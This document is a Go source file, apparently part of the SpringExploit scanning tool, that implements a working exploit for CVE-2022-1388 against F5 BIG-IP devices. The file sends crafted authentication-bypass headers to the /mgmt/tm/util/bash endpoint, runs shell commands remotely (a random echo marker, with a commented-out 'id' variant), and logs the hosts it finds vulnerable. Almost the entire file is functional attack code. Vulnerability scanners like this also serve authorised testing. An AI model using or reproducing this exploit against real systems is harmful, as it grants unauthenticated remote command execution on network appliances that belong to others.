|
| 1 | +package _022 |
| 2 | + |
| 3 | +// 参考 https://github.com/numanturle/CVE-2022-1388/blob/main/bigip-icontrol-rest-rce.yaml |
| 4 | +import ( |
| 5 | + "encoding/json" |
| 6 | + req2 "github.com/SummerSec/SpringExploit/cmd/commons/req" |
| 7 | + "github.com/SummerSec/SpringExploit/cmd/commons/utils" |
| 8 | + "github.com/fatih/structs" |
| 9 | + "github.com/imroc/req/v3" |
| 10 | + log "github.com/sirupsen/logrus" |
| 11 | + "net/url" |
| 12 | + "strings" |
| 13 | +) |
| 14 | + |
| 15 | +type CVE20221388 struct{} |
| 16 | + |
| 17 | +func (t CVE20221388) SendPoc(target string, hashmap map[string]interface{}) { |
| 18 | + log.Debug("[+] Start CVE-2022-1388") |
| 19 | + |
| 20 | + reqinfo := req2.NewReqInfo() |
| 21 | + reqmap := structs.Map(reqinfo) |
| 22 | + |
| 23 | + // 初始化请求 |
| 24 | + // TODO 可以设置超时时间 重复次数 代理等 下面默认使用默认值 |
| 25 | + reqmap["timeout"] = hashmap["Timeout"].(int) |
| 26 | + reqmap["retry"] = hashmap["Retry"].(int) |
| 27 | + reqmap["proxy"] = hashmap["Proxy"].(string) |
| 28 | + reqmap["mode"] = hashmap["Mode"].(int) |
| 29 | + |
| 30 | + u, _ := url.Parse(target) |
| 31 | + path := "/mgmt/tm/util/bash" |
| 32 | + reqmap["url"] = u.Scheme + "://" + u.Host + path |
| 33 | + reqmap["method"] = "POST" |
| 34 | + |
| 35 | + headers := map[string]string{ |
| 36 | + "Host": "localhost", |
| 37 | + "User-Agent": utils.GetUA(), |
| 38 | + "Connection": "keep-alive,x-f5-auTh-tOKen", |
| 39 | + "Authorization": "Basic YWRtaW46", |
| 40 | + "X-F5-Auth-Token": utils.GetCode(5), |
| 41 | + "Content-Type": "application/json", |
| 42 | + } |
| 43 | + |
| 44 | + reqmap["headers"] = headers |
| 45 | + |
| 46 | + randstr := utils.GetCode(10) |
| 47 | + log.Debugf("[+] randstr: %s", randstr) |
| 48 | + base64str := utils.EncodeString(randstr) |
| 49 | + log.Debugf("[+] base64str: %s", base64str) |
| 50 | + |
| 51 | + reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c 'echo " + base64str + " | base64 -d'\"}" |
| 52 | + //reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}" |
| 53 | + log.Debug("[+] Send CVE-2022-1388 request") |
| 54 | + resp := utils.Send(reqmap) |
| 55 | + |
| 56 | + if t.CheckExp(resp, randstr, hashmap) { |
| 57 | + t.SaveResult(target, hashmap["Out"].(string)) |
| 58 | + |
| 59 | + } |
| 60 | + |
| 61 | +} |
| 62 | + |
| 63 | +func (CVE20221388) SaveResult(target string, file string) { |
| 64 | + result := target + " 存在 CVE-2022-1388漏洞" |
| 65 | + err := utils.SaveToFile(result, file) |
| 66 | + log.Info(result) |
| 67 | + if err != nil { |
| 68 | + return |
| 69 | + } |
| 70 | + |
| 71 | +} |
| 72 | + |
| 73 | +func (CVE20221388) CheckExp(resp *req.Response, randstr string, hashmap map[string]interface{}) bool { |
| 74 | + res := resp.String() |
| 75 | + log.Debugf(res) |
| 76 | + if strings.Contains(res, randstr) { |
| 77 | + // 将res 转化成map |
| 78 | + var maps map[string]interface{} |
| 79 | + err := json.Unmarshal([]byte(res), &maps) |
| 80 | + log.Info("CVE-2022-1388 命令执行返回 commandResult: ", maps["commandResult"]) |
| 81 | + if err != nil { |
| 82 | + log.Debugf("[-] json.Unmarshal error: %s", err) |
| 83 | + return false |
| 84 | + } |
| 85 | + return true |
| 86 | + } |
| 87 | + return false |
| 88 | +} |
0 commit comments